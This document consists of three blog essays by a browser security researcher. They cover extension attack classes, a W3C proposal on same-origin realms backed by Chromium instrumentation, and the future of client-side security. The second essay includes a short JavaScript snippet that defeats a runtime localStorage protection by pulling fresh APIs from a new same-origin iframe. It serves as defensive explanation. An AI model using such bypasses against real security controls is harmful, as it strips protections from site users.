Gal Weizman

The Rest of the Iceberg - Everything We've Missed About the Browser Extensions Attack Surface

2026-05-07T00:00:00+00:00

Reading this title, you might be thinking, “dude’s late to the party”

Well, to an extent, yes

But also, diving deep into browser extensions security in the past 6 months was eye-opening to me, and while some of my realizations may seem obvious to most, I believe I will be able to touch on some new notions

My name is Gal Weizman, and I have touched a wide variety of aspects in the browser security ecosystem in the past decade

Here is how my recent research reshaped the way I think about browser extensions’ security

Class XAW (the tip of the iceberg)

~ EXtensions Against Websites

Extensions being a horror show is common knowledge for a while now, and yet somehow only recently emerging startups were finally able to convince the industry how vulnerable companies are to them

@GetKoidex is a great example of that

Koi were able to really convince companies that extensions in general and browser extensions specifically are a true risk to organizations

Not theoretically, but practically

And while Koi is just one example, there was one thing in common to all startups that were taking a shot at this problem

Their efforts, research, product, and publications were all directed at one risk perspective of extensions, which is - once already installed, how malicious extensions were able to compromise victims’ websites

It was different instances of the same approach, time and again - malicious actors manage to either sneak their extension into the Chrome Web Store or buy/compromise an existing one, through which they deploy evil code that abuses the extension’s privileges over websites to compromise them

What repeated itself was (a) the fact that malicious code could be identified in the CRX itself (or a malicious server address if code is fetched remotely), and (b) the attack was targeted at websites

In the past 6 months, I identified no less than 10 different vulnerabilities of about 3 different classes of attacks, with some of them being novel, all involving Chromium-based extensions in one way or another

At least 8 of them will be shared by the end of this year, but in the meantime, I’d like to share what I already can - what was innovative about them and how it affects my perception of browser and endpoint security

I’ll do so by touching each class at a time

Class WAX

~ Websites Against EXtensions

Investigating the devices of some of our clients, an aggregated list of installed extensions came back, and it was longer than I expected

Browsing through each from the classic perspective, I was unable to identify malicious ones, as neither was known to public registries nor contained malicious code

I decided to go one by one and investigate something different about them - their posture

Which domains are allowed to communicate with the background process? To which origins are content scripts injected? How can in-page contexts communicate with content scripts?

You know, classic vulnerability research

This journey uncovered findings I’ve never seen before, which shed some new light on the risk extensions introduced

I found super aggressive vulnerabilities

All allowed very aggressive bypasses of the Same Origin Policy, including UXSS

There’s nothing special about yet another vulnerability, but not only were they so aggressive, but they were also implemented so poorly that it was hard to believe this was a mistake

And then it hit me - what if this isn’t a vulnerability, but a backdoor?

My research focused on 1M+ installations only, so if my theory is right, it’s quite a backdoor

And this is so interesting because the game here is just different, and so are the rules

Each extension provides real value

Each extension is used by real users

Each extension has no proper indication of maliciousness, such as malicious code or suspicious behavior

But they all seem so weird online, like something’s up with them

Not only is their online presence fishy, but they leave an opening for any website to perform such aggressive moves against other origins in the browser, which is just too hard to believe that this is all a mistake

And the worst part? Lacking clear evil indications, incriminating them officially becomes impossible

Even Google internal teams verified our findings, and yet were unable to remove the extensions from the store for the chance that we’re wrong

Could we be wrong? Absolutely (and that’s the gist of it)

Perhaps these flaws were the result of the Vibe coding era? If so, here’s another big new notion for you - if you can vibe code your way to the Chrome Store, how many more such flaws are we going to see? Or maybe it’s both? Maybe now, for the first time ever, you can finally vibe code a real product that is also malicious at the same time, making you untouchable?

I wonder how this angle will play out

Part of my research into WAX class is now public for you to dig deeper https://x.com/WeizmanGal/status/2065060237950775350?s=20

Class XAB

~ EXtensions Against Browsers

Did you notice how it’s the same horror story with every extension?

Whenever a bad one gets caught, the story is about the impact it was capable of generating against websites the user is logged into

One focus is missing from the landscape almost completely - how can these extensions compromise the browser itself?

Attacking the browser via an extension is actually a far more important vector, because it introduces a real escalation of privileges attack (unlike an already installed extension, which trivially attacks websites to which it has access by design)

And this really bugs me - how is it that browsers & plugins security companies never put enough effort into this field of research?

The premise with which they work is “your employees install more extensions than you would imagine,” meaning their starting point was already having an extension installed - why only focus on extension-to-website damage and not explore extension-to-browser damage? Especially when this field is so fruitful?

Accepting this challenge, I was able to identify a novel class of attacks that extensions were able to deploy against browsers, which also gave birth to a novel attack technique I recently covered, coined DiNneR Serving, in my recent GlicJack vulnerability discovery in Google Chrome

I was able to perform different instances of this class against 5 of the most popular browsers in the world, totaling over 20k$ in bounties

This class focused on accessing powers reserved only for browser-level components and abusing them

The take here is that the territory of extensions attacking browsers is widely uncharted

Class XAOS

~ EXtensions Against the Operating System

This one is a little less about just browsers and slightly more about AI and how it changes the endpoint - but the point still flows through the risk in extensions

In the new era we’re entering, AI rapidly gets introduced into every layer of the stack, whether it’s the web, the browser, the extension, the OS, or your phone

But it’s not just AI - it’s the same AI

Meaning, the same brain - whether it’s Anthropic, Perplexity, or OpenAI - gets integrated into all layers

From a security perspective, this introduces a new risk where malicious actors confined to one layer can abuse the access of that layer to that brain to jump over to another layer where the same brain appears

That is an unprecedented way to perform escalation of privileges attacks, and my soon-to-be-published research into this will be only the beginning of this emerging class of attacks

Browser extensions play a prominent role in that

But why now?

Come to think about it, everything I referred to was true for years now, mainly class WAX and class XAW

If so, why does it matter now more than before? What makes this important?

It took the web industry a while to nail down security for web apps, but the tools to secure them conveniently are finally here

After locking this vector down, we begin feeling more comfortable with using browsers freely, and a natural side effect of that was adopting the next big thing browsers have to offer - extensions

Hence began the next part of the same cycle websites underwent - extensions are everywhere, and only their adoption surfaces security concerns we weren’t able to see before

Making browser extensions the old but next emerging attack vector of the web now

What same origin iframes are used for?

2024-12-04T00:00:00+00:00

iframes can either share the origin of their embedder or not. While cross-origin iframes are highly useful and are well-used across the web, what are same-origin iframes used for? Aside for malicious ways to use such iframes, are there any legitimate use cases for them? This research will focus on finding the answer to this question.

In the past months I’ve been focusing on pushing a W3C proposal (within WICG) called Realms-Initialization-Control to address the “same origin concern”. The solution I originally proposed (which may end up being slightly different), attempts to follow the “layering approach”, so that it can be adopted by developers with close to zero fraction. Problem is, the layering approach means introducing a new way to inject JavaScript code into web applications, which might not be ideal. On the other side of that spectrum, more restrictive solutions can be considered, which would be harder to misconfigure and abuse, but might be too restrictive for developers to adopt too.

In this piece I’ll focus on that spectrum and the research I had to make in order to tell which path is more appropriate to choose and why. I thought I’d share my way and findings as they shed light on interesting aspects of the web that weren’t well investigated prior to this.

Unless you’re familiar with my work, about 90% of what I just said won’t make sense to you. Let’s back it up then.

The Same Origin Concern

This is a problem I’ve been vocal about for a few years now. I was first exposed to it by working for PerimeterX on a 3rd party JavaScript runtime security library, which was basically responsible for redefining powerful APIs at runtime within web pages of our customers in order to keep track of their use, mitigate what they can do and more, and by that grant our customers some visibility into potentially bad things that take place on their client side:

window.localStorage.getItem = function(key, secret = '') {
    if (secret !== 'AGREED_UPON_SECRET') {
        return null // protect access to localStorage items!
    }
    return localStorage[key]
}

The example above is a reduced one, but it brings the point across - I can redefine the (powerful) localStorage API to behave slightly different, so that in order to access the values it contains, one must provide an agreed upon secret. If that secret is safely shared with trusted parts of the application and not untrusted ones, we could theoretically virtualize this API to be more picky about who can access it and who can’t, which allows us to introduce advanced security controls to already existing capabilities.

That is the essence of what I was working on in PerimeterX (the product was called “Code Defender”), and is referred to as a layering approach because you introduce another layer of logic on top of existing APIs at runtime.

I’m a great advocator of the layering approach, because it amplifies the strengths of the web and JavaScript, being highly dynamic, configurable and expressive technologies - you can redefine pretty much anything to behave pretty much however you want it to, and by that you can invent pretty much any security control to web applications. That is power we should harness.

Problem is, with how the web is designed, there are some major blockers that undermine the layering approach quite significantly.

The one I’m most worried about ever since I realized it working for PerimeterX is the Same Origin Concern, where a web application is granted APIs with which it can create new realms that expose a fresh new set of the same APIs the main realm exposes.

That’s bad news for the layering approach, because it makes it useless - attackers don’t have to obey the mitigated APIs anymore, they can just find fresh instances of them elsewhere:

function getLocalStorageNaively() {
    return window.localStorage
}
function getLocalStorageBypass() {
    const ifr = document.createElement('iframe')
    return document.body.appendChild(ifr).contentWindow.localStorage
}
getLocalStorageNaively().getItem('sensitive_pii') // null
getLocalStorageBypass().getItem('sensitive_pii') // +977-5555-333

I was the first to build and maintain a project that was entirely focused on addressing this problem.

Ironically, it was the layering approach on top of which the snow project relied, and it was quickly acquired by MetaMask’s new security project LavaMoat, making this project the only one building against this issue in public as an open sourced software.

All snow did was to take your mitigating code (such as the localStorage example) and make sure it runs against every new same origin realm (e.g. iframes/popups), thus eliminating the ability for attackers to leverage the same origin concern to escape the security controls you dictated to your web page:

// Use Snow
SNOW((win) => {
    win.localStorage.getItem = function(key, secret = '') {
        if (secret !== 'AGREED_UPON_SECRET') {
            return null // protect access to localStorage items!
        }
        return localStorage[key]
    }
})
// Snow protects same origin realms
getLocalStorageNaively().getItem('sensitive_pii') // null
getLocalStorageBypass().getItem('sensitive_pii') // null

A happy ending?

Well, not quite.

Sadly, solving this problem at user-land (by using JavaScript at runtime), is basically impossible due to some core characteristics of the web’s design. You can learn more about that by browsing through the many open issues that were left against the snow repository. Some are addressable, some aren’t.

This made things clear - addressing the same origin concern must become a browser native solution.

The Realms-Initialization-Control proposal

The idea was to migrate the exact value snow brings into the browser, and a proposal was submitted against the Web Incubator Community Group.

Both Shopify and Akamai showed enough interest in such a solution which helped officially getting it in to the incubating program, and with Yoav Weiss’s help, I’ve been working on it ever since.

So the idea is very similar to snow’s approach - provide developers some API to declare some path to a remote script with, and make the browser load that script for every new same origin realm that comes to existence.

Based on the previous example, by placing the same localStorage security controls in a remote script /scripts/realm.js:

window.localStorage.getItem = function(key, secret = '') {
    if (secret !== 'AGREED_UPON_SECRET') {
        return null // protect access to localStorage items!
    }
    return localStorage[key]
}

And delivering it via the new proposed API (for example, via the CSP header):

CSP: "run-on-same-origin-realm /scripts/realm.js"

Would theoretically provide the same value snow does:

<html>
<script>
localStorage.getItem('sensitive_pii') // null
</script>
<iframe id="xyz" src="about:blank"></iframe>
<script>
const ifr = document.getElementById('xyz');
ifr.contentWindow.getItem('sensitive_pii') // null
</script>
</html>

Only this would be more resilient and secure given it is implemented by the browser.

Sounds like a plan, right?

The spectrum

Google’s Artur and David, who participate in W3C as well and care about such proposals, brought up a good point - shipping the proposal at its current state will introduce yet another way to inject JavaScript code into web applications, which would result into more browser internals complexity and potential risk if configured improperly.

Instead, they suggest an alternative proposal they call no-sync, which would basically be a boolean header (false by default) that when is enabled for a certain realm, makes sync access to/from that realm from/to other realms impossible - even if they share the same origin.

On the one end of the spectrum, this no-sync is very strict, because if websites want to make legitimate use of same-origin sync-access features, they won’t be able to do so and adopt it at the same time. But on the other hand, it will eliminate the same origin concern successfully, and will do so without introducing new ways to run JavaScript in new realms and web pages, which might have ended up introducing more complexity to the web.

On the other end of the spectrum, the RIC proposal is way more lax, because it allows achieving both states - more security (by implementing security controls using JavaScript and the layering approach without having to worry about the same origin concern) but without having to disable same-origin sync-access features.

All parties agreed that the answer to this question (“which is the path we should choose?”) will be found if we could tell to which extent does the web depend on the same-origin sync-access feature.

Which is to say, if we learn there aren’t enough websites that make any use of same origin realms such as iframes by synchronously accessing them, then maybe the no-sync idea is something we could go for, but if we learn the opposite, that would mean too many websites rely on this capability, so that shipping the no-sync feature would only serve those who can adapt themselves, which might not be the case for many other websites that will just end up rejecting adoption of such a feature for disabling core functionality they rely on (some claim CSP suffered from a somewhat similar destiny).

Time to find out!

It was decided we run this experiment. The question we ask is:

“do websites form same origin realms and access them synchronously? and if so, how often?”

In order to get there, here are the steps we must take:

Define what same-origin sync-access is
Find where this happens within the browser (we’re doing Chromium for close-to arbitrary reasons)
Introduce some way to keep track of such operations and count them
Discover the results

Define

What are same-origin sync-access operations?

Basically, it’s the event in which one realm accesses properties of another, given the two realms share the same origin (thus they obey the same origin policy).

Some examples would be:

<script class="top-to-iframe">
    window[0];
    frames[0];
    iframe.contentWindow;
    iframe.contentDocument;
</script>
<script class="iframe-to-top">
    top;
    parent;
</script>
<script class="opener-to-openee">
    opened.document;
</script>
<script class="openee-to-opener">
    opener.document;
</script>
<iframe srcdoc="<script>parent.document;</script>"></iframe>
<iframe src="javascript:parent.document;"></iframe>

Find

So, where does this happen in the code?

I mean, when realm A tries to access properties of realm B, how does Chromium make sure they belong to the same origin and where exactly does it approve it?

To be honest, it took me a few weeks of research, and I was only somewhat on point, but it turns out there are some interesting things about how origin security takes place within the Chromium source code which would have taken me more time to figure out by myself it wasn’t for the help of Camille and Yuki from Google, which I think are worth sharing.

At first, I was looking at DOMWindow::RecordWindowProxyAccessMetrics:

It caught my eye because it was already counting realm-to-realm origin-access related operation, but the exact opposite of what I needed - it counted cross-origin access.

Counters are small chunks of code that tell some remote server when that chunk of code was executed by some remote user (assuming they allowed the browser to share such metrics) so that they can be later aggregated and investigated by browser developers

This particular counter mapped the different properties realms use to access other cross-origin realms, and now they keep track of how often that happens.

So whenever a browser somewhere in the world loads a webpage that loads two realms that are cross-origin to each other, and one of them calls top/parent/etc which resolves to that other realm - that counter counts!

Here’s a list of the properties for which the counter counts:

You can see live results of this counter for yourself - it’s all public (here’s WindowProxyCrossOriginAccessTop for example).

In order to make sure the counter only counts cross-origin access and not same-origin access, it makes sure that’s the case before performing the count. This happens at line 1025 in the attached image above. If the current realm does not share the same origin as the accessing realm - return (as in, bail on counting).

If that’s the case, all we need to do is replace that return statement with some new same-origin counter, right?

Apparently, it isn’t this simple (the following explanation is based on Google’s Yuki’s explanation to me):

It turns out that when one realm attempts to synchronously access another, the act of checking whether they belong to the same origin or not is very costly in terms of performance, because it means they can potentially be two separate “V8::Contexts” (different rendering processes) if they do not share an origin. This happens within V8’s CrossOriginAccessCheckCallback, which calls SecurityOrigin::CanAccess (where same-origin is determined), and is an act of crossing V8 contexts - which is the performance problematic part.

So, while this is a legitimate method to test for same-origin that would work properly, it won’t scale performance-wise. Therefore, Chromium deploys another technique for avoiding this costly check whenever it can by utilizing what they call a “security token”. The security token is assigned to every new V8::Context (in this case, a realm), and is either a default token, or an origin derived token.

The default token is assigned on some specific cases, to express a refusal to be necessarily friendly to other realms, thus forcing the slow-path check to take place. One example is “opaque origins” which are estranged to other origins by default (e.g. data: or sandboxed iframes). Outside of that, the object representing the security origin of the realm will be set with a non-default token:

That non-default token will be derived from properties that will necessarily be the same for two same origin realms and different for two cross-origin ones (naturally), which in practice are a combo of the protocol (e.g. http:), the host (e.g. example.com), the port (e.g. 8080) and the id of the hosting agent cluster (because two realms should not have access to each other even if they share on origin if they are hosted by two different agent clusters):

When two realms share an identical token, this security architecture allows telling they both belong to the same origin without having to cross V8 contexts to verify it.

This is pretty cool, and it kind of explains the strange behaviour I observed within RecordWindowProxyAccessMetrics that prevented me from leveraging it for spotting same-origin sync-access operations, where it just would not be called for two different realms that share an origin - the fact they share a security token, making them go through the fast-path, is why they never went through this function (I think).

Introduce

Within this context, Yuki explained how introducing this counter upstream isn’t possible because of the perf issues, and that the right approach would be to apply a change and examine the behaviour locally instead.

The change would be to disable the non-default security token functionality, and force all tokens to be default ones. This would force the slow-path always, but it also means that whenever one realm will try to reach for the internals of another, it will first check whether they share an origin or not through the slow-path, which is where we can successfully inject a counter that can take the origin potential match into account.

So first step is to disable non-default tokens:

Now because of this change, we know that all access attempts (including same origin ones) will be processed by CrossOriginAccessCheckCallback, which asks BindingSecurity::ShouldAllowAccessTo whether access should be allowed (or in other words - do they share an origin?). This means that we should capture the boolean return value into a variable, log it, and pass it on:

That’s it! Compile, run and it works!

This of course works for cross-origin too:

Discover

Now that we have a local Chromium build that captures and documents realm-to-realm same-origin sync-access occurrences, we can focus on the original goal we had, which is to tell how often such occurrences take place across the web to tell which of the two strategies to protect applications against the same origin concern we should go with. The strategy we’ll go with is to focus on sites that get the highest exposure on the web, which could be one of two entities:

big websites (most visited ones)
embeddable sites/scripts (social login pages, popular third party scripts, etc)

Embeddables

Since this could go on forever, we’ll have to stay focused, so for today we’ll stick to the embeddables category, as these have probably more impact given how thousands of websites embed them, so let’s start there.

Google (ads)

Starting off with https://securepubads.g.doubleclick.net/pagead/managed/js/gpt/m202411180101/pubads_impl.js which seems to be responsible for introducing ads into web pages such as https://www.ladbible.com/news/uk-news/best-time-to-put-your-heating-on-uk-339473-20241128. Quick look shows there are same origin iframes within the page that based on their name and contents are ads that were created by Google’s ad service:

Here’s how its DOM structure looks like:

Here’s the part within https://securepubads.g.doubleclick.net/pagead/managed/js/gpt/m202411180101/pubads_impl.js that takes that same-origin about:blank iframe and uses document.write (as well as some other same-origin sync-access APIs) to inject a new ad html into it:

This behaviour was observed on other websites that make use of Google’s ads services, which makes it clear that this well-used script currently depends on the realm-to-realm same-origin sync-access feature. By the way, the same script creates another about:blank iframe and sync-accesses it for other unknown reasons, as can be seen here:

Google’s login page https://accounts.google.com/ServiceLogin?hl=iw&passive=true&continue=https://www.google.com/ also seems to make great use of realm-to-realm same-origin sync-access. Again, it’s hard to tell for what reason, but it does seem consistent. In the image below is where the same-origin iframe they created is being accessed via the contentWindow accessor deterministically:

Sentry (metrics)

Sentry also depend on realm-to-realm same-origin sync-access, but conditionally - on init, they create a same-origin iframe and grab a fresh instance of the fetch API only if they conclude that the fetch instance of the top was monkey patched by some other JS code in the page (which is not very rare, depends on what other scripts the website includes).

Facebook (pixel)

Facebook’s Pixel demonstrates clear indicators for realm-to-realm same-origin sync-access within their super popular third party library https://connect.facebook.net/en_US/fbevents.js which is loaded just about everywhere, but in contrast to the former examples, I was not able to successfully reach the branch in code that actually executes such behaviour:

X (embedded posts)

X’s embedded posts via https://platform.twitter.com/widgets.js seem to also introduce some same origin iframe IFRAME#rufous-sandbox and to synchronously access its internals for unknown reasons:

Conclusion

Given how the examples above are of sites and scripts that are highly popular and well-used across the web, it seems fair to conclude that without proper adjustments, websites across the web that embed these won’t be able to easily opt into features such as the proposed no-sync one, as it will prevent the scenarios that were displayed above, and thus break them.

I am also positive that by digging deeper, more websites relying on such a feature will be discovered. One ecosystem that strongly relies on this feature is the advertisement industry (Google Ads is just the tip of the iceberg). Therefore, it’s fair to say that a more lax solution such as the proposed RIC one could be opt into without breaking sites nor require them to adjust whatsoever.

That being said, it’s not that the nosync idea is bad. On the contrary - the web could really use something like nosync and I fully endorse it. My point is that it’s not one or the other - there are enough actors in the web ecosystem that deserve proper solutions that will help them sustain. Those who are able to adopt, enjoy superior security by integrating restricitive solutions such as CSP, COOP, nosync and more. While that is the right approach, realistically, it’s clear that a massive chuck of the web isn’t going this way. These websites integrate code flying in from multiple places, all running within a single origin, doing all sorts of things, and getting them to change their ways is a difficult task. Due to that, there are vendors that provide security tools that can integrate with these actors. The RIC proposal allows these vendors to successfully provide this value to these actors, and therefore is important to have, just as much as a nosync-like proposal.

Just as I said earlier - the spectrum is so wide, that both ends of it probably won’t ever meet. It’s our responsability as builders of the web to respect both of those ends and provide them with appropriate solutions for them to thrive.

Is client side security dead - or a crucial part of the future?

2024-02-10T00:00:00+00:00

tl;dr

This is one of my favorite essays so far: client side security is a niche tech field that seems to be unneeded for the most part. As someone who’s very passionate about it, that’s something that’s hard for me to accept. After (Shubham Shah) addressed this topic in his tweet, I elaborate into the mixed feelings I have with this field, as well as present my take on the industry and most importantly, strongly argue why I think client side security isn’t dying - but in fact is more crucial now than was ever before.

Does client side security still matter?

Not too long ago, the well known security researcher Shubham Shah wrote the following tweet:

For the first 3-4 years that I was working in infosec, I found client side security so exciting. I stayed on top of every new technique and studied new techniques closely. After this, I took a step back and realised that all of my work on client side security felt helpless,…
— shubs (@infosec_au) September 3, 2023

And to me this was magical, because Shubham - like a good security researcher - managed to press some of my weak points pretty accurately. Truth be told, I’ve being brewing with similar feelings for long periods of time throughout my career, and I still do. To this day I battle my strong desire and pure passion for the field of client side security with rational thoughts and the understandable wish for a long, stable and thriving career as an individual in the tech industry.

Shubham’s tweet made me realize that the fact that this dilemma had taken me through multiple emotional rides throughout my career already, had got to the point where it’s time to digest and self-reflect client side security, in terms of its relationship with the cyber-security industry, the importance of its role in the ecosystem, and its future.

To me, that usually means to write. Writing helps me clear my head and put my thoughts in order. In regards with the client side security industry, it’s time to do just that - so here goes.

Shubham’s tweet

So first of all, what’s all the fuzz about?

For context, Shubham is a security researcher with a lot of experience, both with vulnerability research and with application security. And from his tweet, it seems that his vast experience with application security had made him understand that when applications were suffering from security breaches, it was almost always the responsibility of components that weren’t the client side:

“I analysed the reasons companies faced great hardship, and most of the time it was not because of client side security issues but rather server side issues that led to critical impact on their infrastructure.”

Shubham made me connect to his experience by expressing a similar passion he had out of hope and belief (almost self convincement?) that securing the client side is truly important, until it failed to hold water against logic and reality:

“For the first 3-4 years that I was working in infosec, I found client side security so exciting. I stayed on top of every new technique and studied new techniques closely. After this, I took a step back and realised that all of my work on client side security felt helpless, useless, to some extent. “

As a security expert, responsible for auditing the security of applications by naturally going after the most impact apps can go under, Shubham had to shift his efforts towards other areas than the client side:

“A part of me thought that client side security issues still had impact to the end users (and they still do), but I couldn’t cite a single example where a company had lost so much due to a client side issue. It really shaped my mindset and perspective for what to be looking for when auditing an application, and is the reason why I became so deeply invested in server side security.”

But what really got me, was the fear of ever saying the following words:

“I still try and stay on top of client side security exploitation techniques, but they don’t really excite me anymore.”

Because knowing the industry and relating to Shubham sees things, I can see myself ending up in a similar place. And I take this harder than Shubham maybe, because of the relationship I have with client side security, for better or worse.

My relationship with client side security

In this section I’ll lay out some context about me and the path I went through for you to better judge my perspective on client side security and the promising future I see for it. I encourage you to read it for the important context, but you can still decide to skip to my take on client side security.

The beginning

As an 18yo Israeli, I was to serve the Israeli Defense Forces by duty.

There are many roles to take as part of this obligation, and the intelligent and/or fortunate ones serve in the Israeli Intelligence Corps, a batch of units which are mostly responsible for collecting valuable intel for national security. The most impactful way for achieving that is by practicing what you might know as “Offensive Cyber Security”, which is a primary reason why Israel is considered to be a world-class leader in cyber-security.

The most popular one, which I ended up at, is called 8200 ...

If truth to be told, on that spectrum between intelligent and fortunate, I was probably a lot closer to fortunate than intelligent. The proof of that was the fact that the professionality gap between the training course I was accepted to and the team I ended up in was the result of no less than an accident (a story for another day).

Naturally, such a gap introduced significant difficulties for me, as I struggled a lot to keep up with the rest of the team. I was surrounded by highly competent individuals, who were each highly skilled in each of their own distinct field of expertise, whereas I was a colorless weak link.

It was no picnic.

After a year and a half of doing mostly QA and struggling to learn Python, it was decided that our team should take some extra responsibility by absorbing a security field that belonged to another team, meaning no one in my team were familiar with that field - Browser JavaScript (offensive) Security.

Being the perfect opportunity for me to take on something that is not only a bigger contribution to the joint effort than the things I’ve done so far, but most importantly a chance for me to find my own color and to become an expert in a field no one else (in my team) is - I jumped on it immediately.

And so began the bumpy ride of mine I call “my career”.

The choice

One decade forward, and I’ve been focusing almost entirely on JavaScript security. Working for the best in the field, I’ve gained experience in almost every client side security field one can imagine - whether it’s vulnerability research, anti debugging, web extensions security, bot detection, supply chain security or JavaScript security.

While fun for the most part, the ride was bumpy because for some parts of it I was unsure of whether focusing so much on client side security is a smart move. Taking such an active part of this industry, I learned (the hard way) that this is a niche industry, and while you might feel pretty wanted by some companies, such skills won’t serve you similarly for the big amount of the others.

Leaving PerimeterX (now Human), I wanted to move on to the offensive cyber-security industry to advance my vulnerability research and exploitation skills (right after finding a major breach in WhatsApp Desktop and a CSP bypass in Chromium).

After learning more about this industry, combined with personal choices, I changed my mind and decided to pass on this industry, which got me to think - if not this, what then?

The wrong choice?

This was a 3 months turbulence of emotions around the fear of whether I wasted the most important years of my career on this one niche field no one has any interest of?

I mean, being a security pro is great, the need for security specialists isn’t going to end anytime soon, especially in popular fields such as cloud security. Same goes for JavaScript - being a pro in JS and an excellent JS engineer is also a safe bet as JS is still the most popular programming language in the world.

But a strict combination of the two? Perhaps too small of a cell in the tech industry matrix of needed skills.

As part of this roller coaster I was fortunate enough to consult with great people I look up to on the matter.

One of them was Bionic’s co-founder (acquired by CrowdStrike) Eyal Mamo which I got to know from the military service.

Eyal clearly understood where I was coming from and agreed I should broaden my horizons so that my perspective on security is wider, even if just slightly.

And that’s how I joined Bionic for a standard FullStack software development position - a very different one from what I’ve been focusing on before - out of belief fully betting on client side security might not be the smartest thing to do.

And while Bionic turned out to be a great experience (both for working there and for it to be later acquired), I left Bionic only 1.5 years later - because the passion for client side security didn’t die off, it only became stronger, leading me to my next great next opportunity.

The right choice

While working at Bionic, I kept learning about the world of client side security, and two initiatives I found fascinating were LavaMoat and SES.

After partly wrapping my head around them and the problem they address, it came clear to me JavaScript security is far from a solved problem - and that directly affects browser client side security.

At the time I was working on my own side project called Snow to address another non-solved problem in client side security I refer to as the Same Origin Concern.

I reached out to @kumavis (the creator of LavaMoat) to discuss the different problems we both attempt to address, and it made sense to both of us that my work could be a great addition to the LavaMoat project which focuses on securing JavaScript both for their main product (MetaMask) and for anyone in the world.

… So why am I telling you all this 👆?

My take on client side security

What does the future hold for client side security? Given my experience and perspective, I’ll try to answer that.

The death of client side security?

Referring back to Shubham’s take, applications are architected so that the backend of an app carries the core responsibility for the security of the app.

And rightfully so - in contrary to the client side, the backend is more capable of that for being able to manifest logic that no outer entity has access to nor the ability to tamper with, whereas with the client side it’s the other way around - anything that’s being served to the client is by definition fully accessible for it to both read and modify.

This core principal leads to an important conclusion - the client side is not to be trusted to begin with, so why even bother securing it?

This hopefully gives you a taste of the anxiety I went through multiple times throughout my career - if there’s no good reason to secure the client side and this is the one single thing I feel I have an advantage in, is my career based on an unneeded skill?

Sure, there are some use cases for securing the client side, but are they niche reasons barely relevant to the tech industry, as it will mostly focus on securing other components of their applications (probably forever)?

That’s the conclusion I was arriving at when I joined Bionic to gradually migrate away from my passion for client side security.

But right before giving up for good, I decided to go for one last round by joining MetaMask’s LavaMoat effort, to see once and for all whether there’s still something to it, or is client side security basically a lost cause?

Client side security’s second chance

Joining LavaMoat, meeting brilliant people focusing on securing the JavaScript ecosystem, I rediscovered the reasons for why client side security is going to matter a lot in the future and why I personally feel confident betting on it more than ever.

I mostly have two main reasons in mind:

Software Composability

This one is a reason I had in mind even before joining MetaMask. In fact, our shared take on it is what drove LavaMoat to adopt Snow into its set of security tools.

The bottom line is that the evolution of web application development had put us in a place where telling what code our application is going to execute is pretty much impossible.

Saying that 10 years ago would have sounded ridiculous, but since then supply chain driven development became so prominent that most web apps nowadays are composed of around 90% of code written by other entities - entities we can hardly verify nor blindly trust.

And trust is far from enough too, because even if the maintainer is verified to be trustworthy for years, meaning they have no malicious intentions - a malicious entity can still compromise access preserved to the maintainer and abuse it.

So from a world where unwanted code execution was mostly XSS, which can be specifically identified and mitigated, malicious code can now be introduced from within the application itself - a far harder form of abuse to detect.

In addition to the form of “Supply Chain driven development”, Software composability comes in other forms that also require strong client side security.

“Pluggable platforms” are a great example - since web applications are so advanced these days, many operate as platforms, allowing developers to create plugins to be plugged into the platform on user demand.

Shopify, Wix and more are platforms allowing developers to upload plugins aimed for users to install on top of the basic services these platform offer to enhance the benefit they give, forming more powerful and versatile services for their users - a form of practice we’ll see more and more as we go on thanks to the web allowing JS software to easily consume smaller programs.

No reason to look too far either - MetaMask is also a platform which allows the extension of its basic services using developers-made plugins called “snaps”.

The “snaps” plugin system required great client side security engineering (conducted by us internally) for the same reason the formers went through similar such careful care - those plugins are designed to run in the client side, within the app/platform itself, and that means it must endow them with some basic capabilities while confining them from obtaining more power in the app than they should have.

And to make things even more tricky - both “Pluggable platforms” and “Supply Chain driven development” use cases can theoretically (and practically) be included and/or executed both at runtime and build time, making it sometimes impossible to address using backend prevention solutions (especially for runtime).

In other words - code we don’t trust can potentially end up running in our application, and trusting backend solutions to prevent it can no longer cut it, because statically identifying this is just too complex of a task.

And when preventing something is too hard, the second-best way to tackle it is by waiting for it to happen.

And when it comes to breached web applications, it happens on the client side.

Thus, the industry will have to result into client side based detection tools in addition to backend prevention attempts, as such breaches can generate big damage (potentially too big to recover from) - a risk that companies can’t afford to take.

In the past years, attempts to create such security tools were already made (coming from the co-creator of PerimeterX CodeDefender), but quite unsuccessfully. Perhaps because the timing was off, or because my take is simply wrong - time will tell.

But one thing’s for sure: composability driven software is a great turn - it’s far more efficient (“build on the shoulders of giants”) and the JS language as well as its ecosystem specifically are well suited for such engineering methodology. The further we advance, the more software’s going to rely on other software, and therefore the need for supporting this long term process securely is more important than ever (in which the client side takes a major role IMO).

Decentralization

This is a more controversial one. Based on who usually reads my stuff, you either see and expects the upsides the Web3 paradigm barres with it (and therefore will relate to this argument) or you’re here for the JavaScript security take and this argument might not speak to you really. If that’s the case, stick around regardless. If you like technology and information security, you might find this angle interesting to think about, regardless of your stance.

Even if I’m way off about the former argument, and the problem of composable software is completely addressable from the server end (which it isn’t) - what if there wasn’t a server to help in the first place?

Many would claim there is a decentralized revolution in action, making this argument worth of examination at least.

In the Web3 space for example, that’s kind of the case.

Instead of web apps you have dapps (decentralized apps) which are normal web applications on the client side, but they connect to something slightly different from a traditional server (a common example would be the Ethereum network), and those dapps can practically operate without a traditional server to begin with.

While somewhat unrealistic on one hand, a big portion of the Web3 industry actually expects dapps to not incorporate a server that stores/processes user information - that’s actually a big part of the Web3 idea for many people in the first place.

This strongly applies to credentials - in the Ethereum ecosystem for example, authenticating to dapps and operating them is expected to be done via the private key of the user in front of the Ethereum network rather than some centralized-managed server (it isn’t really authentication but that’s good enough for the explanation).

This dramatically shifts away from the traditional security paradigm referred to earlier, where servers are not only expected to participate in ensuring the safety of applications’ users, but are also expected to do the heavy lifting.

But in Web3 architecture, that’s no longer possible - for better or worse, the most sensitive actions being performed in dapps take place in the client side (from start to finish).

This turns the tables - if before the server was such a great way to design safe applications that client side security was barely even relevant, in Web3 context, client side is the only way to secure that part of the application.

It’s also important to clarify - this extends beyond just Web3. The idea of decentralized services is realized on other forms as well, such as financial services (aka DeFi, e.g. Bitcoin), P2P applications and more, but in this essay we focus on client side security in context of browsers, whereas client side security of other decentralized services will be affected differently depending on their supporting infrastructure.

This came very clear to me working on MetaMask, and is why I’m so proud of the JavaScript security work we do - Since the MetaMask crypto wallet is a browser extension that is theoretically vulnerable to the same threats described in context of dapps (and even more so being the critical bridge between dapps and the Ethereum network), in order to not die, MetaMask is forever obligated to ship the most secured client side product ever.

